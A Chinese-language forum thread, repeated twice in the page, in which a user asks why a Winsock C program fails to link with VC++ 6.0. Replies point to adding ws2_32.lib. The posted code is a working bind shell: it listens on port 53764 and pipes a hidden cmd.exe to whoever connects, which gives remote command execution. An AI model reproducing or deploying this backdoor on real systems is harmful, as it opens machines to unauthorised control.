我写了一小段基于SOCKET---API的程序,功能很简单,代码也很少,我用VC++6.0的cl编译器在cmd下编译通过,但link时报连接错,请各位帮忙看看!!!我已经调试很久了但问题仍然存在,我的源程序如下:#include "winsock2.h"
#include "stdio.h"
int main()
{
WSADATA wsa;
SOCKET listenFD;
char Buff[1024];
int ret; WSAStartup(MAKEWORD(2,2),&wsa); listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); struct sockaddr_in server; server.sin_family = AF_INET;
server.sin_port = htons(53764);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);
int iAddrSize = sizeof(server); SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize); SECURITY_ATTRIBUTES sa;
sa.nLength=12;sa.lpSecurityDescriptor=0;sa.bInheritHandle=true;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2; ret=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);
ret=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0); STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
char cmdLine[] = "cmd.exe";
PROCESS_INFORMATION ProcessInformation; ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation); unsigned long lBytesRead;
while(1)
{
ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
if(lBytesRead)
{
ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
ret=send(clientFD,Buff,lBytesRead,0);
if(ret<=0) break;
}
else
{
lBytesRead=recv(clientFD,Buff,1024,0);
if(lBytesRead<=0) break;
ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
}
}
WSACleanup();
return 0;
}然后我编译它,如下:
c:\Tass>cl socket.cpp
编译器报以下错误:
/out:socket.exe
socket.obj
socket.obj : error LNK2001: unresolved external symbol __imp__WSACleanup@0
socket.obj : error LNK2001: unresolved external symbol __imp__recv@16
socket.obj : error LNK2001: unresolved external symbol __imp__send@16
socket.obj : error LNK2001: unresolved external symbol __imp__accept@12
socket.obj : error LNK2001: unresolved external symbol __imp__listen@8
socket.obj : error LNK2001: unresolved external symbol __imp__bind@12
socket.obj : error LNK2001: unresolved external symbol __imp__htons@4
socket.obj : error LNK2001: unresolved external symbol __imp__socket@12
socket.obj : error LNK2001: unresolved external symbol __imp__WSAStartup@8
socket.exe : fatal error LNK1120: 9 unresolved externals我不知是何原因,各位请多多帮忙,一定满分奉送!!!!!
谢谢!!!!
#include "stdio.h"
int main()
{
WSADATA wsa;
SOCKET listenFD;
char Buff[1024];
int ret; WSAStartup(MAKEWORD(2,2),&wsa); listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); struct sockaddr_in server; server.sin_family = AF_INET;
server.sin_port = htons(53764);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);
int iAddrSize = sizeof(server); SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize); SECURITY_ATTRIBUTES sa;
sa.nLength=12;sa.lpSecurityDescriptor=0;sa.bInheritHandle=true;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2; ret=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);
ret=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0); STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
char cmdLine[] = "cmd.exe";
PROCESS_INFORMATION ProcessInformation; ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation); unsigned long lBytesRead;
while(1)
{
ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
if(lBytesRead)
{
ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
ret=send(clientFD,Buff,lBytesRead,0);
if(ret<=0) break;
}
else
{
lBytesRead=recv(clientFD,Buff,1024,0);
if(lBytesRead<=0) break;
ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
}
}
WSACleanup();
return 0;
}然后我编译它,如下:
c:\Tass>cl socket.cpp
编译器报以下错误:
/out:socket.exe
socket.obj
socket.obj : error LNK2001: unresolved external symbol __imp__WSACleanup@0
socket.obj : error LNK2001: unresolved external symbol __imp__recv@16
socket.obj : error LNK2001: unresolved external symbol __imp__send@16
socket.obj : error LNK2001: unresolved external symbol __imp__accept@12
socket.obj : error LNK2001: unresolved external symbol __imp__listen@8
socket.obj : error LNK2001: unresolved external symbol __imp__bind@12
socket.obj : error LNK2001: unresolved external symbol __imp__htons@4
socket.obj : error LNK2001: unresolved external symbol __imp__socket@12
socket.obj : error LNK2001: unresolved external symbol __imp__WSAStartup@8
socket.exe : fatal error LNK1120: 9 unresolved externals我不知是何原因,各位请多多帮忙,一定满分奉送!!!!!
谢谢!!!!
alt_f7----->settings--->link--->object/library modules中加入Ws2_32.lib
0>project->link->Object/libray modouls
ws2_32.lib和wsock32.lib都可以的,不过如果用了winsock2.2的函数,还是要用ws2_32.lib。